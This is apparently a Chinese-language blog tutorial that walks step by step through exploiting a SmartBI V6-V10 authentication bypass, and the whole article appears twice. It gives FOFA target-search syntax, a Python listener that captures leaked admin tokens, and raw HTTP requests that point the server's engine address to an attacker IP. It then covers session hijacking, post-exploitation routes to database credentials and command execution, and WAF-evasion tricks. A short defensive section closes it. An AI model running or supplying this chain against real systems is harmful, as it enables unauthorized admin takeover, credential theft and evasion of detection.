实战复现SmartBI权限绕过漏洞从Token获取到后台接管全流程解析在企业级数据分析平台中权限控制是安全架构的核心环节。近期曝光的SmartBI V6-V10版本权限绕过漏洞因其利用链清晰且危害性高成为安全研究人员关注的焦点。本文将采用实验室环境逐步拆解漏洞利用的完整过程帮助读者深入理解认证机制缺陷的实战利用方式。1. 环境搭建与漏洞原理剖析1.1 实验环境配置复现漏洞需要准备以下组件SmartBI V10测试版官方已停止旧版下载可从镜像站获取历史版本Kali Linux攻击机预装Python3、Burp Suite测试用Windows Server 2019主机网络拓扑需确保攻击机与靶机双向可达关键配置参数组件版本要求备注SmartBI6.0 ≤ 版本 ≤ 10.0需关闭自动更新Java环境JDK 8u201避免高版本兼容性问题Web容器Tomcat 9.0.40需禁用PUT/DELETE方法注意实验环境应使用NAT网络隔离避免意外暴露到公网。实际测试时建议在虚拟机快照后操作。1.2 漏洞形成机制该漏洞本质是API接口的认证逻辑缺陷。监控模块的/smartbix/api/monitor接口未校验调用者身份导致攻击者可篡改内部引擎地址指向恶意服务器诱导系统向攻击者服务器发送认证Token通过Token反连获取管理员会话# 漏洞触发流程图 1. 未授权访问监控API → 2. 修改engineAddress参数 → 3. 系统主动连接攻击者主机 → 4. 泄漏Token信息 → 5. 会话劫持2. 漏洞利用链分步实施2.1 初始信息收集使用FOFA引擎识别潜在目标实验环境需手动部署# FOFA语法示例实际测试请替换为内网IP appSMARTBI countryCN通过目录扫描发现关键接口/smartbi/smartbix/api/monitor/engineInfo /smartbi/smartbix/api/monitor/token2.2 搭建恶意监听服务编写Python HTTP服务器接收Tokenfrom http.server import BaseHTTPRequestHandler, HTTPServer import json class TokenHandler(BaseHTTPRequestHandler): def do_POST(self): content_len int(self.headers.get(Content-Length)) post_data self.rfile.read(content_len) print(f\n[] Received Token: {post_data.decode()}) self.send_response(200) self.send_header(Content-type, application/json) self.end_headers() self.wfile.write(json.dumps({status:success}).encode()) if __name__ __main__: server HTTPServer((0.0.0.0, 8000), TokenHandler) print([*] Token listener started on port 8000) server.serve_forever()保存为token_server.py后执行python3 token_server.py2.3 分阶段攻击实施第一阶段重定向引擎地址POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Content-Length: 38 {address:http://攻击者IP:8000}第二阶段触发Token泄漏等待约30秒后系统会自动向攻击者服务器发送心跳包其中包含认证Token。观察Python服务端输出[] Received Token: {token:eyJhbG...,user:admin}第三阶段会话劫持使用获取的Token构造管理会话POST /smartbi/smartbix/api/monitor/login HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Cookie: SMARTBI_TOKENeyJhbG... {action:validate}成功响应后将返回管理员权限的JSESSIONID。3. 权限维持与防御绕过3.1 后台功能探查获取管理员权限后可执行以下高危操作数据源连接管理直连数据库报表模板上传可能触发XXE系统命令执行接口部分版本存在典型后渗透路径通过系统管理 → 数据源配置获取数据库凭证利用报表导入功能上传恶意模板文件访问/smartbi/servlet/DesignService执行系统命令3.2 流量隐蔽技巧为避免触发WAF规则建议对API路径进行URL编码使用合法的Referer头控制请求频率在5-10秒/次POST /smartbi/smartbix%2fapi%2fmonitor%2fsetEngineAddress HTTP/1.1 Referer: https://192.168.1.100/smartbi/vision/index.jsp4. 防御方案与检测建议4.1 临时缓解措施对于无法立即升级的系统建议网络层控制限制/smartbix/api/monitor接口的访问IP出站流量白名单控制应用层加固!-- 在web.xml中添加 -- security-constraint web-resource-collection url-pattern/smartbix/api/monitor/*/url-pattern /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint4.2 长期防护策略启用SmartBI的二次认证功能定期审计API接口权限部署RASP防护对异常Token生成行为进行阻断在测试过程中发现当系统配置了严格的CORS策略时攻击链的成功率会显著降低。这提示我们在实际防御中应组合多种安全机制形成纵深防护。
手把手复现SmartBI权限绕过漏洞（V6-V10），从获取token到接管后台的完整过程
实战复现SmartBI权限绕过漏洞从Token获取到后台接管全流程解析在企业级数据分析平台中权限控制是安全架构的核心环节。近期曝光的SmartBI V6-V10版本权限绕过漏洞因其利用链清晰且危害性高成为安全研究人员关注的焦点。本文将采用实验室环境逐步拆解漏洞利用的完整过程帮助读者深入理解认证机制缺陷的实战利用方式。1. 环境搭建与漏洞原理剖析1.1 实验环境配置复现漏洞需要准备以下组件SmartBI V10测试版官方已停止旧版下载可从镜像站获取历史版本Kali Linux攻击机预装Python3、Burp Suite测试用Windows Server 2019主机网络拓扑需确保攻击机与靶机双向可达关键配置参数组件版本要求备注SmartBI6.0 ≤ 版本 ≤ 10.0需关闭自动更新Java环境JDK 8u201避免高版本兼容性问题Web容器Tomcat 9.0.40需禁用PUT/DELETE方法注意实验环境应使用NAT网络隔离避免意外暴露到公网。实际测试时建议在虚拟机快照后操作。1.2 漏洞形成机制该漏洞本质是API接口的认证逻辑缺陷。监控模块的/smartbix/api/monitor接口未校验调用者身份导致攻击者可篡改内部引擎地址指向恶意服务器诱导系统向攻击者服务器发送认证Token通过Token反连获取管理员会话# 漏洞触发流程图 1. 未授权访问监控API → 2. 修改engineAddress参数 → 3. 系统主动连接攻击者主机 → 4. 泄漏Token信息 → 5. 会话劫持2. 漏洞利用链分步实施2.1 初始信息收集使用FOFA引擎识别潜在目标实验环境需手动部署# FOFA语法示例实际测试请替换为内网IP appSMARTBI countryCN通过目录扫描发现关键接口/smartbi/smartbix/api/monitor/engineInfo /smartbi/smartbix/api/monitor/token2.2 搭建恶意监听服务编写Python HTTP服务器接收Tokenfrom http.server import BaseHTTPRequestHandler, HTTPServer import json class TokenHandler(BaseHTTPRequestHandler): def do_POST(self): content_len int(self.headers.get(Content-Length)) post_data self.rfile.read(content_len) print(f\n[] Received Token: {post_data.decode()}) self.send_response(200) self.send_header(Content-type, application/json) self.end_headers() self.wfile.write(json.dumps({status:success}).encode()) if __name__ __main__: server HTTPServer((0.0.0.0, 8000), TokenHandler) print([*] Token listener started on port 8000) server.serve_forever()保存为token_server.py后执行python3 token_server.py2.3 分阶段攻击实施第一阶段重定向引擎地址POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Content-Length: 38 {address:http://攻击者IP:8000}第二阶段触发Token泄漏等待约30秒后系统会自动向攻击者服务器发送心跳包其中包含认证Token。观察Python服务端输出[] Received Token: {token:eyJhbG...,user:admin}第三阶段会话劫持使用获取的Token构造管理会话POST /smartbi/smartbix/api/monitor/login HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json Cookie: SMARTBI_TOKENeyJhbG... {action:validate}成功响应后将返回管理员权限的JSESSIONID。3. 权限维持与防御绕过3.1 后台功能探查获取管理员权限后可执行以下高危操作数据源连接管理直连数据库报表模板上传可能触发XXE系统命令执行接口部分版本存在典型后渗透路径通过系统管理 → 数据源配置获取数据库凭证利用报表导入功能上传恶意模板文件访问/smartbi/servlet/DesignService执行系统命令3.2 流量隐蔽技巧为避免触发WAF规则建议对API路径进行URL编码使用合法的Referer头控制请求频率在5-10秒/次POST /smartbi/smartbix%2fapi%2fmonitor%2fsetEngineAddress HTTP/1.1 Referer: https://192.168.1.100/smartbi/vision/index.jsp4. 防御方案与检测建议4.1 临时缓解措施对于无法立即升级的系统建议网络层控制限制/smartbix/api/monitor接口的访问IP出站流量白名单控制应用层加固!-- 在web.xml中添加 -- security-constraint web-resource-collection url-pattern/smartbix/api/monitor/*/url-pattern /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint4.2 长期防护策略启用SmartBI的二次认证功能定期审计API接口权限部署RASP防护对异常Token生成行为进行阻断在测试过程中发现当系统配置了严格的CORS策略时攻击链的成功率会显著降低。这提示我们在实际防御中应组合多种安全机制形成纵深防护。
